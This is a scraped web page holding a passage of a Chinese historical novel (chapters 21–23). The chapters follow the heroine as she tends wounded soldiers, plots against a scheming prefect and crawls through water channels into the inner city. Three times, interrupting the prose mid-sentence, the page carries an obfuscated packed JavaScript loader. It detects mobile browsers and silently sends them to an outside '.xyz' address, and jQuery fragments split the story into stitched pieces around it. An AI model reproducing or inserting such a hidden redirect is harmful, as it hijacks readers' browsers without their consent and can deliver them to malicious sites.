;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166320|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠面前。 “我是跑船的，我看他们打扮像是郁江上游的水贼。”一个中年男子道。 观棠点点头，她看这些人也并不像是衙城的兵，想来即便是那徐继昌想要做什么，到底不敢明着使唤禁军。 只是那两个人都是不通官话之人，只好叫两个会苍梧话的人去问话，再转述给观棠。林二本做主想要誊录一二，但水寨兵里有几个伤势不轻，还有几个来援的人也受了伤，他和学徒忙着治伤熬药，实在是抽不开身。 自送走大半百姓后，观棠便坐在院子里。栾慧见她不去歇息，只是睁着眼看着地上的血污，不知在想什么。 “夫人可是在担心赵队将？” “是，也不是。”观棠轻声道，“我只是在想，无论是赵令羽还是他手下的那些水寨兵，亦或是今夜来此的百姓……栾慧，我开始惧怕我的一言一行真的在左右他人命运。” 她抬起头，凝视着那还挂在天边的月亮，再过不一会儿等日头升起，就会瞧不见这弯弦月了。 无论是为了护她还是为了将她陷于险境，今夜都死了十几个人。 栾慧见她神色不明如那乌云笼月，思索了一会儿道：“孟子有言，达则兼济天下。您出身高门，如今又为经略使夫人，原是为了梧州百姓在此地谋一条生路，这才携我与文四游出瓮城去水寨求援。您带回来救兵，又稳定了罗城百姓的民心，夫人别忘了，当日在那江水中，您也险些丢了性命啊！” 观棠轻轻摇头道：“我只是觉得，以我之力，实在是……蜉蚁撼树。徐继昌不过小小知州，他背后，那些京中之人，甚至连一兵一卒都未动便能坐收渔翁之利。天下万民，于他们而言不过是俎上之肉，用来争权夺势的玩物罢了。栾慧，我感到愤怒，我既知自己力量渺小，又觉心中实在是有无穷无尽的愤怒。我想，这是因为我是一个手中什么都没有的人。我既没有像伯父那样为他效命的兵卒，也不像谢少行，能够靠一张纸一支笔便考取功名，上佐天子，下抚万民。” 她说到这里，声音愈发沙哑：“我好不甘心，我看着这么多人死在我面前，我真的好不甘心。徐继昌把我拦在镇安南门外，甚至还要引水贼来此地截杀我，他做下这么多的祸事，一桩桩一件件……” 观棠站起身，她眼神流转，从愤懑、怨恨，到如月华般夺目的坚韧。 “我原想待漕船到了此地再与他……”她说到这里，眉头微动。 是啊，她自觉是靠漕船和修建码头有了与徐继昌谈判的资格，但像他这样的人又岂会任旁人拿捏命脉。徐继昌起初说要两日给她水窦图，不就是为了等这两日水贼到此吗。是她拱手将主动权交予了她人，是她的天真和不思量，引发了今夜的混乱，还让赵令羽痛失了他的海鳅船和不少部下。 待到再次开口时，观棠的语气已恢复平息。 “只有夺走徐继昌的治州之权，才能真正解决梧州之患。” “夺权？”栾慧听了她的话，下意识问：“夫人，咱们如今被闭锁在罗城，如何能同那坐守兵马营和粮草的徐知州夺权。” 观棠冷笑一声，道：“这法子可是他亲自交到我手上的。” 见栾慧面露疑惑，她不卖关子，吐出三个字：“水窦图。” 21.第 21 章 天明以后，赵令羽带着海鳅船上幸存的水寨兵回到药铺。 观棠正怀抱着达妍昭入睡，听见楼下的响动，立刻惊醒。 赵令羽留下的部将里能够动弹的只有原先守在观棠身边的三人，此刻他们正在院子里生火烧水，见她从楼上下来，起身道：“夫人，他们回来了。” 语气并不明朗。 观棠快步迈入铺子，内里一团混乱，不小的铺面塞了几十个人。伴随着耳边的痛苦呻吟声，观棠深吸口气，试图在人群里找出赵令羽，目光从每一个水寨兵身上扫过。他们从那火连天的水里逃生，不光身上湿漉漉得，不少手脚还有烫伤，形状十分骇人，眼前的林二正用剪子绞开因烧焦黏连在皮肤上的衣物，引得那人一阵哀嚎。 一下多了这么多伤员，只有林二和小学徒实在处理不过来，观棠见状将袖子挽了起来，拿起林二搭在盆边上被血色侵染的纱布，洗净递了过去。林二回头见是她，吓了一跳道：“夫人，您怎么下来了？这里都是男子，而且为了上药，大多要脱去他们的衣物……” 观棠说：“我帮你，早些处理完这个伤员，你也好速去帮下一个。” 满屋都是或躺或卧坐的伤兵，林二看了看四周，最终没有再反对。他只说要什么，观棠便很快递过去，另一边栾慧帮着小学徒给一些伤处较浅的人上药，见观棠出现在铺子里，虽想上前说些什么，但还是咽了下去。 一个时辰前，观棠得了那两个被囚之人的口供，他二人果然如跑船之人所说，是郁江上游的水匪，说是听说罗城水患被遏，水匪们便想趁夜来打个秋风。 他们这样的人，以百姓之口自然撬不出来什么，观棠也并不意外他们的说辞，只是看着那誊写在布上的字，又看着院中的水寨兵尸首，观棠实在难掩愤怒，将布在手中揉作了一团弃掷于地。 此刻，看着面色如常、专心协助林二的观棠，栾慧怔忪之余心中轻叹口气。 也许是因为出自将门世家，她身上总有一种不同于寻常人的杀伐果决感，无论是在湍急的江水中被救出，还是一路艰险进出水寨，观棠都未曾流露出昨夜那般近乎失控的情绪。 想她年纪还不及男子及冠，却要看着十数人因自己而死，这与那些死于镇南门下的百姓截然不同，他们是为自己或家人搏一条生路才被残害，而这些水寨兵和水匪，却都是因着那梧州知州与她的明争暗斗死去。 这应当就是权力的可怖之处，它能让人为了那些与自己毫不相干的事情搭上性命。 难怪她说要夺走徐继昌的治州之权。 只不过观棠虽有计策，但这药铺内诸多伤兵，连那疏通罗城水道一事都不知能否完成……栾慧正想着，赵令羽迈入药铺，将最后一个伤员抬了进来。 观棠见他回来了，处理完手中伤员，快步走上前道：“赵队将！你可有伤到哪里？” 赵令羽擦去面上的血污，喘了口气说：“我无大碍，夫人，夜里这药铺可还好？有人来袭吗？” 他的问话让观棠默了片刻，随后道：“有人来过，但幸得梧州百姓相救……”她说到这里，迎着赵令羽的目光，语气难掩苦痛和歉意：“您留下的部将只剩九人。” 赵令羽听见她所言，身子微僵，最后拱起手低头道：“跟随我的水寨兵们大多无家无靠，夫人，待事情结束，我想厚葬他们。” 观棠未出声，轻轻点了点头。 另一边，柳州府衙内，谢闻自与秦如傅说完梧州之事后，这位柳州知州却没再说什么，一室阒然。 在屋内站久了，又带伤连夜赶马至此，自觉已到极限，谢闻拖着身子行至座前，搭着太师椅微凉的扶手坐下。 秦如傅尚在思索，见烛光下谢闻面色如雪，眼下却氤着一团红色，衬得双眼目光如炬，躬身审慎道：“经略使，暄宗曾言，各州公事不得蓦越，若仅凭猜测便要调兵前往梧州……下官劝您三思而后行。” 谢闻鼻息微沉，抬手拿起桌上已经凉了的茶送入口中。 他知道自己短短几句话无法叫秦如傅下定决心出手相帮，只不过既然京中那些人想将柳州推出来做棋盘上的劫材，他自当笑纳。 垂眸看着茶盏，谢闻头未抬起道：“猜测？我只不过是想要调查柳州铸钱监一案，而那线索，恰在临近的梧州罢了。” “大人，您……” 谢闻放下茶盏，目视着秦如傅道：“秦知州，你做官二十余载，应当清楚，即便沙毛钱一案并非在你任上酿成，却始终是于你治下败露。他们引我来此审议断刑，若我有意治你个不能举察的罪名，京中何人会保你？更何况，此案本就是他们弃车保帅之举。” 他说到这里，见秦如傅面上竟还有心与他斡旋，到底动了心气，重咳了两声，再开口时语气稍沉：“你们秦家世代为官，那王晸算是与你同期入朝，不过是投了魏葛清的门下便官至宰相。你因曾劝章敬太后还政一事被陛下贬离汴京，可是如今陛下想要在广右推行新政，你不抓住时机迎头而上，倒重新攀上了那旧党……秦如傅，我究竟是该为你叹息一声，还是要骂你一句，该当如此？” 秦如傅数月前才过了自己的五十大寿，只不过他居于广南，家宅又在汴京，即便是如此隆重的寿岁，最终还是办得冷冷清清。 他之所以愿意为王晸等人行事，并非因他下定决心要投身于那些人之下，只不过半生踌躇无处宣泄，又觉自己到了知天命之年，此刻即便是叫他做那投石问路的一枚石子，他也愿投入这漆黑的官场潭水，搅一搅局势。 谢闻之言谆谆，确如当头棒喝。 见秦如傅面上耸动，谢闻想，人往往就是这如此，他言说梧州之患时此人不为所动，但涉及自身的利益时，便会开始审时度势，此时只待他最后推一把，于是开口道：“与其说你不信我，倒不如说你不信你自己。你不信这民寡田薄之地是你腾蛟起凤之所。明镜高悬，照出来的不过是你满腔的怨怼。恐怕你心中常想，纵有鲲鹏之志，困于这浅滩僻壤，又能有何作为？可是陛下要推新政，就是要从这些旧党眼中绝对不可为的地方去行事。陛下如今不过而立之年，千秋万岁，你不信我，不信你自己，为何不愿信陛下？秦如傅，如今我便当着你的面说了，陛下不会像他的父亲光宗，更不会像他的兄长显宗，沙毛钱一案，是陛下将王晸等人置于那炉子上，烧得他们日夜难寐，这才将柳州放于案俎。如此，你可知自己该站在哪一边了？” 秦如傅深知，这是他与谢闻的第一次会面，却也只会是他最后一次同他说这样的话。 最终，他后退了一步，敛衽行礼道：“天予不取，反受其咎，谢经略，我这就去寻兵马营都监来此。” “不必……”谢闻抬袖起身，也许是终于松了口气，又或者是方才说了太多的话，谢闻只觉眼前一黑，身子晃了晃，跌坐回了椅子上。 秦如傅大惊，忙上前扶住他，感觉到谢闻的手掌凉似冰，慌道：“大人，您这是……” 谢闻闭了闭眼，勉力道：“你去唤曹佐林进来。” 待曹佐林进屋，见谢闻如此，也顾不得其他，伸手去探谢闻的额头，果然烫得惊人。 曹佐林不知谢闻与秦如傅谈得如何，但经略安抚使作为一方大吏，若被刺受伤一事被散播出去，恐怕各境难安。 似猜出曹佐林心中所想，谢闻伸手轻按他的臂膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186240|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，对秦如傅道：“秦知州，若我不告知你身体状况，恐怕你那稍稍伸出来的头又马上便要缩回去了。我并非身患重病，而是在来柳州的路上遇了刺。” 他说罢，推开自己左半边衣裳，露出了包裹着伤口的浸血纱布。 秦如傅正要开口说什么，谢闻止了他的话头，道：“你放心，我的身子我心中有数，你安排一间空厢房，再命人备些热水，曹防御使会帮我处理伤口，随后我们便往兵马营去。” 秦如傅听罢，只得照做。 待得天光初现时，谢闻收拾好一切，换了身官服，一路快步出了州衙。 秦如傅跟在他身后，面前年轻男子身姿挺拔，目光所及是一片浓重如墨的紫色官袍，其上用金线所绣的云鹤纹，华美而威严，不知为何，秦如傅仿若被晃了眼，稍稍低下了头。 寒门出身又如何，世家大族又如何……这谢少行不到而立之年，便得官家如此信任，又有这样的胆识和勇谋，望着自己膝头左右横摆的青袍，想着两人先前的对谈，秦如傅竟有些脚步发颤。 “大人，秦知州命人备了马车，不如您乘坐马车前去吧？”曹佐林跟在谢闻身后道。 因伤口导致浑身发热，谢闻深知自己此刻是强弩之末，最终应允上了马车。 一行人往那城郊兵马营疾去，却不料行到半路，竟有大石塞于山道上，更有数人才能环抱的巨木横在路上。 秦如傅对谢闻禀报完前路发生的事情，躬了躬身道：“兵马营都监近日便是在忙于此事，这条路上时有山崩。” 谢闻揉了揉眉心，道：“去兵马营只这一条路？” “是啊，大人，若是调兵，那些兵卒也需途径此路才能往梧州去。” 倒像是老天都在拦着他，让他不要去梧州。 谢闻颇有些气竭，同时牵扯着伤口剧痛，他忍着难耐道：“先寻人试着通路，另外遣人去兵马营提前告知此事。” 看着秦如傅打马而去的背影，谢闻身子脱力般倒向了马车的车壁，他心道，梧州之事，最好是从一开始便想错了。 * * * 赵令羽等人回到药铺之后，观棠又上楼合衣而眠了一会儿，达妍昭推着她将她唤醒。女孩嘴上嘟嘟囔囔说着什么，观棠还未领悟，便听见门外有人敲门。 她起身开门，见是栾慧端来了饭食，后退一步让他先进屋。 此时屋门大敞，观棠突然听见前几日施粥时才会有的响动声，疑心药铺外的粥棚又支起来了，便开口问：“赵队将他们今天也支了粥棚？” “是那些城中百姓自发的。”栾慧边说边将一个白面饼举到观棠面前：“夫人，您看这饼子，是一个妇人给我的，说是担心您这几日吃不好睡不好，知道您是北方来的，好几家凑了白面给您做的。” 观棠接过还有些温热的饼子，咬了一口。 烙饼之人显然很少做面食，这饼并不像汴京的那般暄软，但紧接着，舌畔传来一丝醇厚的甜味，定睛一瞧，里头竟裹了饴糖。 她惊诧地抬头望向栾慧，后者含笑点头道：“我沾了夫人的光，尝了小半个。” 观棠知道栾慧是怕有心人下毒，只不过捧着手中的白面糖饼，竟好似捧着有千斤之重的东西。 这便是民心吧。 既看不见，又摸不着，让人犹如背负了世间最沉之物，却仍能向前行走。 她心中感念，掰了几块给达妍昭，自己吃干净了剩下的。 “夫人，我看赵队将的部下大多受伤了，若是要引水出城，恐怕还需借助百姓的力量。” 观棠闻言点了点头，说：“你说得对，我也正有此打算。” 22.第 22 章 白日里，衙署内的徐继昌得知昨夜发生在药铺的前前后后，倒并不意外。 他正在看转运使蒋衝送来的密信，信上言说经略使夫人在梧州一事谢闻应该是知晓了，万幸的是他如今不在静江府，静江府知府刘弢又与他们同心，不会遣兵来援。 末了，蒋衝劝他要顾好大局，莫要自乱阵脚。 徐继昌心中有些怒气，前几日他将观棠燃烽火驱百姓进衙城之事上报，为的就是尽快获得漕司粮草相助，不料蒋衝竟装傻充愣了起来，信上丝毫未提漕船之事。 此刻，兵马营都监伍潼还在他耳畔念叨：“可惜只毁了海鳅船，若非那些城中百姓相救，恐怕昨夜她便……” 将密信搁在烛火上烧了，徐继昌恨恨道：“水匪不过是吓唬此女的招数罢了。”见信纸在地上化作一团灰烬，他转身问：“我叫你寻的人可寻到？” 伍潼迟疑了一瞬，道：“寻是寻到了，只是大人……当真要这么做？” “她今日便要开始疏浚了罢？”徐继昌冷笑一声，语气透着一股阴寒：“观氏女想当圣人，想救那些贱民，好啊，那就让她看看，她费尽心力救下的都是些什么人。” 见伍潼神色难明，徐继昌轻拍他的肩膀道：“且看她能不能叫那罗城水褪，若真叫她行了大运成了事，到时候你就打开镇南门，我要给这位经略使夫人送上厚礼。” * * * 罗城内的药铺粥棚前，一听说经略使夫人想要疏水，便有些一呼百应之势，许多人在纸上留名画押。 看着纷纷涌上前自荐的百姓，栾慧有些激动对观棠道：“夫人，看来咱们这几日在罗城内所做都没有白费！” 观棠状若未闻，眉心拧着，不知在想什么。 “夫人身体可还好？”看着女子眼底的一抹青灰，想到她昨日又近乎半宿未眠，栾慧关切道。 观棠回过神，摇头道：“无事。”见栾慧还想说什么，观棠宽慰一笑道：“我出生自行武之家，家中姊妹兄弟各个身体好，即便岭南路遥，这一路我也未着病，先前只是初入广右不服水土罢了。” 自大病初愈后下船，又一路经历各式各样的事，面前之人身子眼见消瘦不少，一双眼睛却愈发明亮，仿佛从原石里逐渐淬炼出来的宝石。 此刻的她荆木钗绾发，粗布衣裹身，然脊背挺立如松，脖颈纤长如竹，虽为女子，却有一种柔中带刚的凛冽气度。 栾慧知道，眼下即便能够凑足人手疏通城中沟渠，观棠心中恐怕还有旁的谋划。 他正思索着，没留意一个衣着打扮奇异的女子突然撞向观棠，守在粥棚旁的一个水寨兵见状迅速拔剑指向她二人，栾慧一把将观棠拉到身后。 众人仔细一瞧，才发现那女子手中抱着一个两三岁的孩童，匍匐在地的她正用另一只手扯着观棠的裙摆，口中反复念叨着什么，仿佛是某种歌谣，又仿佛是经文。 观棠被她的动作吓了一跳，此刻冷静下来，伸手拦住水寨兵的剑，问：“你可听懂她在说什么？” 水寨兵摇摇头。 观棠四处张望，想寻人帮忙，但眼前都是等着排队领粥的百姓，虽有好些被她这边的动静吸引，但无人愿离开队伍。这时，那趴在地上的妇人抬头看了她一眼，突然开始嚎啕大哭，这下连观棠也有些不知所措了。 似实在看不过眼，原先在粥棚前排队的一个妇人从队伍里走出来，对观棠道：“夫人，她是想叫你摸摸她小孩的头。”她虽说官话，但仍带着浓浓的本地口音。 栾慧喝道：“夫人为何要摸她孩子的头？” “栾慧。”观棠递过去一个稍安勿躁的眼神，对那妇人缓声道：“你听得懂她在说什么？我观她衣着打扮，似乎并非汉人。” 那妇人点点头道：“没错，她是黎夏族人。” 观棠来广右之前曾在书中读过，此地自大兆建国以前便是汉夷混居之地，梧州城内汉人已算多的，占近三成，另有四成是本地的黎夏族，还有三成是其他族类，例如水族、疍族……只不过罗城内数日遭灾，人处于求生本能，汉夷早已不分你我。 观棠看着眼前的妇人，她的面容有几分肖似黎夏族人，窄额宽面，又有几分像汉人，应是父母辈跨越汉夷的结亲诞下了她。观棠对她道：“你能同我说说她在说什么吗？” 那妇人与周围人相视几眼，走上前道：“她说您是厄母娘娘，这是黎夏族传说里的神女，能够带走灾病。”她话音还未落，便有一个同为黎夏族打扮的男子怒吼着冲上前，想要拽走那趴在地上的女子并抢夺孩子，后者死死抱着孩子不愿松手。 观棠立刻令人将这二人分开，问方才向她解释的妇人：“这是怎么了？” “夫人，她孩子生了病，但是黎夏族向来只信巫觋……” 观棠知道偏僻地区的百姓多有自己的信奉，黎夏族也是信巫不信医的典例。大兆建国初期，岭南地区曾出现“杀人为祭”的采牲恶习，后被朝廷明令禁止，若发现有违犯者，按故杀罪论处。除此以外，汉官往往只会因俗而治，较少干涉。 那抱着孩子的女子以及被拉到一旁却情绪激动的男子应是孩子的父母双方，观棠看着他们略一思索，对那同她诉说这许多的妇人道：“你可还有家人在队伍中？” 那妇人点点头说：“我的两个孩子在队伍里排着呢。” “你带他们一同过来。” 她说完，令兵卒带着那对夫妻以及妇人一家进了药铺。 安置好妇人一大一小的两个孩子后，观棠寻来林二，对他道：“你去看看那个黎夏族的孩子，似乎病得很重。” 林二回头看了一眼怒视着自己的孩子父亲，以及在旁边抱着孩子的黎夏族女子，低声道：“夫人，黎夏族不信我们汉医。” 观棠了然道：“我知道，你去看便是。” 林二无奈，走上前去，正想伸手去探那孩子的脉，女子一声尖叫推开了他。林二开口用苍梧话解释了一番，又指了指身后的观棠，那女子看着她，又看看怀中的孩子，正犹豫着，被兵卒看着的孩子父亲怒骂了两句，这两句倒像是给女子骂清醒了，她一咬牙，将孩子递给了林二。 观棠看到这里，终于长舒口气。 “夫人，她真是把您视作厄母娘娘了。”妇人在她身边感慨道。 “这厄母娘娘究竟是怎么回事？”栾慧问。 “是黎夏族的传说，说是有一年天上降下天罚，落了好多火石，烧毁了田地庄家，山火遍地。所有人都快要饿死的时候，又出现了瘟疫。有一个女子为了救她的孩子和百姓，决定出海去寻找食物和药草，结果她出海那天，刮风下雨，船开出去不过一会儿便翻了。众人以为她必死无疑，但是三天后，她却化为了灵鹿现身了！那头灵鹿把能够治病的草药和能够吃的果实放下以后，就转身回到了丛林里，再也没有出现过，有好几年，猎人在山上一头鹿都打不到，据说也是被那灵鹿庇佑。后来大家都说，是那女子用自己的肉身换取了那些救命药材和食物，救下了百姓，从此便唤她厄母娘娘。” 栾慧听到这里，嗤笑一声道：“这不还是活人祭吗？厄母娘娘恐怕是哪个被巫觋胁迫的可怜女子吧。” “栾慧！”观棠轻轻摇头，提醒他在此地莫要随意置评，随后问那妇人道：“厄母娘娘这些话是什么时候开始传的？” 那妇人回忆了片刻，说：“好像也就是这两日。” 观棠听了拧起眉，栾慧还想问什么，这时，林二看过孩子的大体情况，过来对观棠禀报：“这孩子大概率患有疳症。” 观棠见他神色不明，先令那妇人回到她两个孩子身边，这才转过身对林二道：“什么是疳症？会传染吗？” 林二摇摇头道：“不，不会传染，这是脾胃方面的病症。有多种原因，可能是孩子自娘胎里带的，可能是他生长过程中因饮食不当等原因缓慢出现。这是慢症，夫人，但……” “你说。” “这孩子头皮光急，毛发焦稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199294|176473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，牙龈黑烂，脾胃虚损过度，非一日能治。”林二蹙眉回首看向孩子，“若早些将孩子送来，我还能对症下药，但到了这步田地……” 身为医者的林二都说出这样的话了，观棠心中了然，但见那抱着孩子的女子望着她，眼里的渴望仿佛将她视作渊涛中最后一根能够握住的枝杈，观棠转过身，生怕眉间眼底泄了踪迹，叫她发现这枝杈如今也已摇摇欲坠。 她低声问：“当真无法救治了吗？” “若只是叫我开几个方子再将他们送走，还不如不开。”林二叹口气，“除非她愿意将孩子留在药铺，饮食皆由我照料，勉强能有一线生机。” “你将两个法子都去和她解释一遍，让她自己选吧。”观棠说完，心中不忍，又回头去看那女子。果然，林二才说两句，那女子便哭嚎了起来，站在她身旁不远处的孩子父亲似有所不忍，也想上去劝慰，被水寨兵阻拦，男子怒视观棠狠狠吐了口唾沫。紧接着，林二又开口，似乎是在同她说将孩子留在药铺治病之事，这时那男子便叫嚷了起来。 观棠心中希望女子能像方才那样，狠下心将孩子交给林二，但她所盼的并未成真，那女子听完林二所说的两个法子，看了一眼怀中的孩子，最后又望了一眼观棠，趴在地上磕了个头，随后转身离开了药铺。 被兵卒阻拦着的男子仍死死盯着观棠，不知怎的，观棠竟从他的眼神里捕捉到一丝得意。她心中愤懑，恨不能叫人立刻将他丢入后院库房中，但理智还是让她最终放他离开了。 林二对她道：“夫人，你初来此地，这黎夏族并非个例，本地各族都有各族的信仰和法则，这位母亲能冲破规矩带着孩子来药铺已是不易。说实话，即便将孩子留在药铺里，我也没有十成的把握能救下他的性命。” “但你还是同她说了，希望她能将孩子留在药铺。” 林二没有立刻接话，过了一会儿说：“夫人你觉得，她带着孩子离开以后会做什么？” “我不知。”观棠说。 “此地民智未开，她回去还是会苦苦哀求他们的巫医，然后在家诵经拜神。”栾慧声音平静，观棠却忍不住转头看他。 她二人身量相当，观棠恰能看见他眼中的讥讽、苦痛和自嘲，她想，看着那女子怀中的孩子，栾慧或许想到了自己。 他幼时身体有畸，父母无力救治，最终叫过路的戏班子带走，寻得一游医出手相帮，才有幸捡回一命。 观棠没有再出声。 这天直到午时，黎夏族孩子的事情仍搅得药铺内人心忡忡，观棠和林二替伤兵换完药以后，去寻赵令羽详说如何为罗城疏水。 “徐继昌在此地树大根深，不知他是否还有后招。”赵令羽的疑心观棠也有，只不过此刻顾不得其他，她道：“趁他还紧盯着罗城，先将疏水一事散播出去，我已找到入衙城的法子。” “夫人此话当真？” 观棠将水窦图图纸摊开与众人见，说：“这图纸虽只记载了罗城各处水道，但罗城地势低于衙城，你看这处，这处，还有这处，”她伸手指向图纸上延伸出去却断连的部分，“连接着的应当就是衙城水道。” “难怪说水窦图是城防机密。”栾慧感叹。 “当然，现下肯定无法立刻顺着这盛满江水的水路直抵衙城，我要借疏水一事改此处水路，引出水源，如此我们便可从中通过。”观棠说完，抬起头看着几人道：“我先前得陛下所赐，有六位御前亲军随护，为首的虞候名叫姜丕，他曾得我令去燃烽火求援。现下徐继昌既然把控衙城，姜虞候未现身，恐怕他与我的那些家仆一道被看押了起来。另有梧州通判李诚昭，我们此去衙城，目的便是救出他二人。” 赵令羽闻言点点头，说：“夫人此招甚妙，得通判相助，便可与这知州搏一搏州衙和兵马营的统领大权。” 观棠点点头，眼中不加掩饰的对赵令羽的赞赏，只是她并不知道，唯一能叫她在此地与徐继昌相制衡的李诚昭早已不在人世了。 23.第 23 章 过不到两日，观棠根据水窦图将罗城的水涝引出去大半，但江面水位很高，总容易倒灌。她寻不得法，入夜后与赵令羽、栾慧等人商议。 栾慧提议：“或许可以在郁江上游找一处能够引水的地方，在那处开沟挖渠，否则以罗城的地势，这水涝除也除不尽。” “此法虽好，但无法解燃眉之急。”赵令羽说。 二人议论了许久都未见观棠开口，于是停下看她。 女子以手支额，眸色深深，烛火勾勒出她的面庞半明半昧，更显静谧。他二人不知她在想些什么，却都不愿出声打断，观棠倒是很快回过神，道：“抱歉，我只是在想白天发生的一些事。” 这两日她在城中疏水，很得百姓相助，但所到之处竟有越来越多的人唤她厄母娘娘，甚至连一些汉人都会附和。 她辨不清这件事的好坏，又怕有人刻意而为之，但她想不通，为何背后之人要如此给她造势？ 迎向栾慧担忧的眼神，观棠并没有说出心中想法，只道：“这两日罗城的水已经褪去许多，我想先入一趟衙城。” “那……明日我们便按夫人的指示，将那通往衙城水道里的水引出去。” 隔日，原先停了数日的雨不知为何又簌簌下了起来。 日头过了中天，像是被笊篱滤过一遍，透不出一丝光亮，目之所及一片灰蒙，栾慧倒觉得这雨能掩去一些他们的行迹，算是幸事。 观棠换了件合身的男装，将头发高高束起。只是束发的时候，她想起离开罗城时还是青红给她梳的头，不知这几日她如何了。 这次南下她本不想带青红，青红自幼伴她长大，比她做主留在府中的林嬷嬷和年纪稍长的蘅芜都要亲近，但越是亲近的人，就越舍不得她受苦。她儿时得痘疹时，是还没出过痘的青红彻夜守着她，幸好她身子底好，不过三两日便退了高热，反而是青红被她传染后大病一场。 只是南下这趟少则三年，多则四五年，蘅芜已经到了说亲的年纪，青红年岁比房中几人都小，观棠左思右想，又适逢母亲派来不得她心意的钟嬷嬷，最终还是带上了青红。 钟嬷嬷就常常数落青红不知分寸，说放眼望去，整个汴京世家大户的后宅里哪个像她这般与小姐相处。 观棠不甚在意，青红是什么样，又与旁人何干？ 她儿时在母亲那里惹了烦心事，憋着一口气回到屋子里才哭，蘅芜年岁长于她，总会劝说让她不要与自己的母亲置气，唯有青红，也不说什么，只是端上两碟点心，眨巴着眼睛让她尝尝。 眼泪落进嘴里的咸味一下子被点心的甜味冲淡了。 从那以后观棠便常想，一个人是否真的关心和喜爱一个人，应当像青红这般，嘴上并不说什么，但一定会用行动表现出来。所以有的时候，当她看向她母亲时，便总会疑惑，母亲真的喜欢自己这个女儿吗？从始至终，母亲的心应当都是在王家和她自己身上吧。 可惜这些话她无法同哥哥观晏说，于是很多女儿心事，最终都像倒谷子似的倒给了青红。 青红不会像蘅芜，时时劝慰，日日安抚。青红的心极软，若她家小姐笑，她便一同笑，若她家小姐哭，她便一同哭，但除了小姐的烦心事，她也没有多少烦心事，整日都是乐呵呵得，有青红在身旁，她的心便总是能定一些。 身旁传来细碎的响动，原来是达妍昭像只小猫似的溜进了屋里，正俯身捡起她落在地上的篦子。 “谢谢。”观棠朝她笑了笑，接过女孩手中的篦子。 见达妍昭眨了眨眼，似乎想说什么，观棠伸手摸了摸她的头，又将那篦子递给了她：“你先替我保管着，好吗？等我回来再给我。” 女孩也不知道听懂没有，眼睛看着手中的篦子。 观棠收拾好一切下了楼，与栾慧等诸人汇合。巳时他们便清理出了一处通往衙城的水道，引其中的水往别处，如今已到未时，想那水路若畅通，此刻便能使人钻入通过了。 “走吧。”观棠说，“如今又下起了雨，若再拖延恐怕水道又会被淹。” 她与栾慧、赵令羽及他的几个手下借着雨势离开了药铺，一路往北攀，来到水道入口处。栾慧先行下去了，随后是赵令羽和观棠。 这水道内十分狭窄，只能供人趴着前行，且不知前路，唯有在最前方的栾慧能知晓前面情况，观棠有些为他担忧。一行人在水道里爬久了，衣袍皆被浸湿，手中摸着黏腻的管壁，鼻中闻着阵阵腥臭，还不知要爬多久，正心中打鼓时，突然听见地面上头传来的震动声。 “像是出动了兵马营？”赵令羽趴着听了一会儿，辩出马蹄声。 “是往罗城去？”观棠忙问。 赵令羽说：“若我们的方向是正确的，直往衙城去，那这些兵马便是往罗城去的。” 栾慧听了此话，大喜道：“那或许正是个控制衙城的好时机！真是天助我们。” 他说完，众人打起精神，继续往前爬了近一刻钟，发现前方被一处铜栅栏堵着，隐约还传来水流声。 “应该快到衙城内河了。”观棠道：“栾慧，矾粉！” 栾慧从怀中掏出油纸包着的矾粉，以水化开，涂抹在了栅栏上，再辅以一瓶烈酒。过不一会儿，那铜栅栏便迅速泛起绿锈，质地变得软脆，徒手便可掰断。 矾与盐、茶一样由官府管控，但其入药具有解毒燥湿的功效，因此各处药铺里常备，若非如此，以观棠他们实在不知能从何处寻到，且林二也说，此地的铜不知为何极脆，只需一点矾粉便能起效。 待栾慧拆下那栅栏钻出去，点燃了火折子，眼前的水道突然变宽阔，能够供人半曲着身通过，只是一脚踩进去，膝盖以下都是水。 “这水道出入口会通往衙城何处？”赵令羽回身扶了观棠一把，随后问。 “我想城墙下应该有一处出入口。”观棠说，“这种能够容人通行的水道一般也作逃生密道。” 没过多久，栾慧寻到一个出口，顺着绳梯攀爬了上去。推开木制活板门，栾慧见上方静悄悄地，四合都似围住了，探出头一看，这里果然如观棠所说，是城墙内的一处密道。 几人都一一爬上来以后，观棠松了口气，这一路实在是比她想象中要顺利太多，但站了一会儿，又觉奇怪，因为衙城实在太安静了。 这种感觉与罗城截然不同，在罗城内，虽然被水势侵袭了半城，但白日里仍能听见各种声响，衙城却僻静得令人有些不安。 